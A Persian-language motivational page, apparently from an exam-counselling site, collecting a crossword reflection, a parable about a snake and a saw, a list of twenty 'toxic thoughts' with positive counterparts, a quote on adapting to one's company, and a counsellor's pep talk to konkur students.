یکی از آن وسط بلندگفت: وقت

یکی گفت: آدم

خنده تلخی کردم و گفتم: نه

اما فهمیدم
تا شرح جدول زندگی کسی را نداشته باشی
حتی یک کلمه سه حرفی آن هم درست در نمی آید !!!

باید جدول کامل زندگیشان را داشته باشی.
بدون آن همه چیز بی معناست!!!

هرکس جدول زندگی خود را دارد.

هنوز به آن کلمه سه حرفی جدول خودم فکر میکنم

شاید کودک پا برهنه بگوید: کفش
کشاورزبگوید: برف
لال بگوید: حرف
ناشنوا بگوید: صدا
نابینا بگوید: نور

و من هنوز در فکرم
که چرا کسی نگفت:
” خدا

__________________________________________________________________________________________________

? خیلی قشنگه
حتماً بخونید

ﺷﺒﻲ ﻣﺎﺭ ﺑﺰﺭﮔﻲ ﻭﺍﺭﺩ ﺩﻛﺎﻥ ﻧﺠﺎﺭﻱ ﻣﻴﺸﻮﺩ ﺑﺮﺍﻱ
ﭘﻴﺪﺍ ﻛﺮﺩﻥ ﻏﺬﺍ .
ﻫﻤﻴﻨﻄﻮﺭ ﻛﻪ ﻣﺎﺭ
ﮔﺸﺘﻲ ﻣﻴﺰﺩ ﺑﺪﻧﺶ ﺑﻪ ﺍﺭﻩ ﮔﻴﺮ ﻣﯿﻜﻨﺪ ﻭ ﻛﻤﻲ
ﺯﺧﻢ ﻣﻴﺸﻮﺩ .
ﻣﺎﺭ ﺧﻴﻠﻲ ﻧﺎﺭﺍﺣﺖ ﻣﻴﺸﻮﺩ ﻭ ﺑﺮﺍﯼ ﺩﻓﺎﻉ ﺍﺯ ﺧﻮﺩ
ﺍﺭﻩ ﺭﺍ ﮔﺎﺯ ﻣﻴﮕﻴﺮﺩ
ﻛﻪ ﺳﺒﺐ ﺧﻮﻧﺮﻳﺰﻱ ﺩﻭﺭ ﺩﻫﺎﻧﺶ ﻣﻴﺸﻮﺩ ﺍﻭ
ﻧﻤﻴﻔﻬﻤﺪ ﻛﻪ ﭼﻪ ﺍﺗﻔﺎﻗﻲ ﺍﻓﺘﺎﺩﻩ
ﻭ ﺍﺯ ﺍﻳﻨﻜﻪ ﺍﺭﻩ ﺩﺍﺭﺩ ﺑﻪ ﺍﻭ ﺣﻤﻠﻪ ﻣﻴﻜﻨﺪ ﻭ ﻣﺮﮔﺶ
ﺣﺘﻤﻲ ﺳﺖ ﺗﺼﻤﻴﻢ ﻣﻴﮕﯿﺮﺩ
ﺑﺮﺍﻱ ﺁﺧﺮﻳﻦ ﺑﺎﺭ ﺍﺯ ﺧﻮﺩ ﺩﻓﺎﻉ ﻛﺮﺩﻩ ﻭ ﻫﺮ ﭼﻪ
ﺷﺪﻳﺪﺗﺮ ﺣﻤﻠﻪ ﻛﻨﺪ
ﻭ ﺩﻭﺭ ﺍﺭﻩ ﺑﺪﻧﺶ ﺭﺍ ﭘﻴﭽﺎﻧﺪ ﻭ ﻫﻲ ﻓﺸﺎﺭ ﺩﺍﺩ .
ﻧﺠﺎﺭ ﺻﺒﺢ ﻛﻪ ﺁﻣﺪ
ﺭﻭﻱ ﻣﻴﺰ ﺑﺠﺎﯼ ﺍﺭﻩ ﻻﺷﻪﺀ ﻣﺎﺭﻱ ﺑﺰﺭﮒ ﻭ ﺯﺧﻢ
ﺁﻟﻮﺩ ﺩﻳﺪ ﻛﻪ ﻓﻘﻂ ﻭ ﻓﻘﻂ
ﺑﺨﺎﻃﺮ ﺑﻴﻔﻜﺮﻱ ﻭ ﺧﺸﻢ ﺯﻳﺎﺩ ﻣﺮﺩﻩ ﺍﺳﺖ .
ﺍﺣﻴﺎﻧﺎ ﺩﺭﻟﺤﻈﻪ ﺧﺸﻢ ﻣﯽ ﺧﻮﺍﻫﯿﻢ ﺩﻳﮕﺮﺍﻥ ﺭﺍ
ﺑﺮﻧﺠﺎﻧﻴﻢ ﺑﻌﺪ ﻣﺘﻮﺟﻪ ﻣﻴﺸﻮﻳﻢ
ﺧﻮﺩﻣﺎﻥ ﺭﺍ ﺭﻧﺠﺎﻧﺪﻩ ﺍﻳﻢ ﻭ ﻣﻮﻗﻌﻲ ﺍﻳﻦ ﺭﺍ ﺩﺭﻙ
ﻣﯿﮑﻨﯿﻢ ﻛﻪ ﺧﻴﻠﻲ ﺩﻳﺮ ﺷﺪﻩ …
ﺯﻧﺪﮔﻲ ﺑﻴﺸﺘﺮﺍﺣﺘﻴﺎﺝ ﺩﺍﺭﺩ ﻛﻪ ﭼﺸﻢ
ﭘﻮﺷﻲ ﻛﻨﻴﻢ
ﺍﺯ ﺍﺗﻔﺎﻗﻬﺎ؛ﺍﺯﺁﺩﻣﻬﺎ؛ ﺍﺯ ﺭﻓﺘﺎﺭﻫﺎ؛ﮔﻔﺘﺎﺭﻫﺎ؛
ﺧﻮﺩﻣﺎﻥ ﺭﺍ ﻳﺎﺩ ﺩﻫﻴﻢ ﺑه ﭼﺸﻢ ﭘﻮﺷﻲ
ﻋﺎﻗﻼﻧﻪ ﻭ ﺑﺠﺎ .
ﭼﻮﻥ ﻫﺮ ﻛسی ﺍﺭﺯﺵ ﺍﻳﻦ ﺭﺍ ﻧﺪﺍﺭﺩ ﻛﻪ ﺭﻭﺑﺮﻭﻳﺶ
ﺑﺎﻳﺴﺘﻲ ﻭﺍﻋﺘﺮﺍﺽ ﻛﻨﻲ …..
گاهی برو…گاهی بمان….

گاهی گریه کن…گاهی بخند..

گاهی قدم بزن…گاهی سکوت کن…گاهی رها شو…

گاهی ببخش…گاهی یاد بگیر……

_______________________________________________________________________________________________

ریشه ی خیلی از مشکلات انسانها خطای فکری اونهاست.
افسردگی، احساس عدم خوشبختی، فشار روانی شدید، احساس ناکامی، ترس، مشکلات ارتباطی با دیگران، احساس گناه بیجا و … از پیامدهای این خطاهای فکری هستند.
این جمله ها رو از کتاب «یک دقیقه این ۲۰ فکر سمی را کنار بگذار» است شاید شما هم یکی از کسایی باشی که باید برای یک دقیقه هم که شده بعضی از فکراتو کنار بذاری …

فکر سمّی ۱
تفریح اتلاف وقت است.
باور مثبت
استراحت، سرگرمی و آرامش هم لازم است.

فکر سمّی ۲
به نفع توست که دیگران را کنترل کنی.
باور مثبت
اگر می خواهی دیگران با تو کنار بیایند، آنها را کنترل نکن.

فکر سمّی ۳
بهتر است عقده دلت را خالی کنی .
باور مثبت
به جای آنکه عقده دلت را خالی کنی ابراز وجود کن .

فکر سمّی ۴
با نامهربانی بر نامهربانی پیروز خواهی شد.
باور مثبت
هنگام نامهربانی آرام برخورد کن،

فکر سمّی ۵
چیزی نگو که دیگران را برنجانی.
باور مثبت
حرفهای مهم را مدبرانه بزن.

فکر سمّی ۶
نه بگو چون اگه رو بدهی آستر هم می خواهند.
باور مثبت
اگر برای رابطه ای ارزش قائل هستی تا حد امکان در آن بله بگو .

فکر سمّی ۷
جواب ابلهان خاموشی است.
باور مثبت
عزیزانت ارتباط می خواهند نه سکوت.

فکر سمّی ۸
اگر می خواهی کارها درست پیش بروند خودت آنها را انجام بده.
باور مثبت
مسئولیتهایت را اولویت بندی کن، متعادل کن، کارهایی را که دوست داری و می توانی انجام بدهی انجام بده و بقیه کار ها را به دیگران محول کن.

فکر سمّی ۹
وقتی کارها خوب پیش نمی روند دنبال مقصر بگرد.
باور مثبت
وقتی کارها خوب پیش نمی روند دنبال راه حل بگرد.

فکر سمّی۱۰
تنبیه بهترین تربیت است.
باور مثبت
به جای آنکه رفتارهای بد را تنبیه کنی، رفتارهای خوب را پیداکن و به آنها پاداش بده.

فکر سمّی ۱۱
احساساتت را بروز نده.
باور مثبت
احساساتت را بروز بده تا اعتماد بسازی و صمیمیت ایجاد کنی.

فکر سمّی ۱۲
با همان اولین برداشت می توانی آدم ها را بشناسی.
باور مثبت
هر آدمی بی همتاست، تا او را در شرایط مختلف ندیده باشی واقعا نمی توانی او را بشناسی.

فکر سمّی ۱۳
قربانی، همیشه قربانی است.
باور مثبت
تو می توانی خودت را از دام ناراحتی های گذشته برهانی.

فکر سمّی ۱۴
فروتن باش و به خودت نبال.
باور مثبت
نقاط قوت و توانایی هایت را راحت و صادقانه بیان کن.

فکر سمّی۱۵
خودخواه نباش اول دیگران بعد خودت.
باور مثبت
خودت را به اندازه دیگران دوست داشته باش.

فکر سمّی ۱۶
همه باید تورا دوست داشته باشند.
باور مثبت
آن که هستی و آن چه هستی را دوست داشته باش.

فکر سمّی ۱۷
برای خودت و دیگران، قوانین روشنی وضع کن.
باور مثبت
از بایدها بپرهیز چون خوشحالی تو در گرو انعطاف است .

فکر سمّی ۱۸
بی احترامی، عذاب آور است.
باور مثبت
بی احترامی عذاب آورنیست، مگر این که خودت بخواهی عذاب آور باشد.

فکر سمّی ۱۹
به صلاح توست که به خودت سخت بگیری.
باور مثبت
با خودت و دیگران منصفانه رفتار کن.

فکر سمّی ۲۰
زندگی باید عادل باشد.
باور مثبت
اگر چه زندگی عادل نیست، اما می توانی آنرا بهتر کنی.

______________________________________________________________________________________________

قانونی داریم که همیشه صادق است:

“”ما به محیط مان عادت می کنیم””

اگر با آدم های بدبخت نشستن و برخواست کنید،
کم کم به بدبختی عادت می کنید
و فکر می کنید که این طبیعی است.

اگر با آدم های غرغرو همنشین باشید
عیب جو و غرغرو می شوید
و آن را طبیعی می دانید

اگر دوست شما دروغ بگوید،
در ابتدا از دستش ناراحت می شوید
ولی در نهایت شما هم عادت می کنید به دیگران دروغ بگوییدو اگر مدت طولانی با چنین دوستانی باشید،
به خودتان هم دروغ خواهید گفت.

اگر با آدم های خوشحال و پر انگیزه دمخور شوید
شما هم خوشحال و پرانگیزه می شوید
و این امر برایتان کاملا طبیعی است.

“تصمیم بگیرید به مجموعه افراد مثبت ملحق شوید وگرنه افراد منفی شما را پایین می کشند
و اصلا متوجه چنین اتفاقی هم نمی شوی”
نوشته: اندرو متیوس
ازکتاب:یکروز را ۳۶۵ بار تکرار نکن

۲۳۸۶۴۱۳۸۵۲۹۶۲۰۶۵dfgdfg

 

لطفا نظرات خودتونو درمورد داستان ها و مطالب مختلف بذارید.

درصورتی که شما هم مطالب آموزنده و جالب دارید برامون بفرستید تابا نام خودتون توی سایت قرار بدیم.

فایل انگیزشی بهمن ماه

 

 

سلام وقت بخیر حالتون چطوره؟

منکه خیلی عالیم میدونی چرا؟چون  دوباره همه چی از صفرشروع شده و میشه دوباره متولد شد  🙂  🙂 

ترم دوم شروع شد خیلی ها تازه میخوان شروع کنند

دوباره تصمیم گرفتن برای اخرین بار شروعی محکم داشته باشند که دیگه سست نشند از روند برنامه ریزیشون 

بتونند دوباره بخونند و دایما میپرسند :آقای محمدی واقعا میشه؟ آقای محمدی من میتونم به اون چیزی که میخوام برسم؟

اکثرا باور ندارند که میشه !بله بچه ها واقعا میشه!شادی باورتون نشه ولی تو میتونی به بهترین خودت تبدیل بشی 

تومیتونی اونقدر خودتو بالابکشی که به بهترین نحوه بدرخشی 

۶ماه دیگه کنکورت میاد و میبینی که باکسی دارند مصاحبه میکنند و میگه من از عید شروع کردم و توی ۴ ماه ب اینجا رسیدم یه نفر دیگه میگه من از اسفند ۵ ماه خوندم تلاشمو کردم.

اما سوال من اینه :تو داری الان شروع میکنی الان بهمن ماهه و تو هنوززززززز ۶ ماه وقت داری تا کنکورت تو یک ماه دوماه ازاونا بیشتر داری

چرا میخوای حسرت اینو بخوری که وقت داشتیو استفاده نکردی؟

دایما افسوس مهرو ابانتو میخوری که چرا اذر گذشت و تونخوندی ولی زیز من اگر تو همین امروزتو استفاده نکنی همین بهمن همین الان شروع نکنی مطمعن باش بهمن هم دقیقا میشه مثل همون دی و آذر ابانی که گذشت و ازدست رفت.

پس اگر واقعا میخوای بخونی و یادبگیری الان وقتشه که بجای اینکه بشنوی یه نفر دیگه ۵-۶ ماهه تونسته موفق شده تو همون شخص باشی

فایل انگیزشی بهمن ماه برای داشتن ای انگیزه کمکت میکنه

۱۹۴۲۲۵

 

یادتون نره سوالاتتونو میتونید همینجا بپرسید تا پاسخ تمامی سوالات مشاوره ایتونو بگیرید

من اینجام باتوام درکنارت  🙂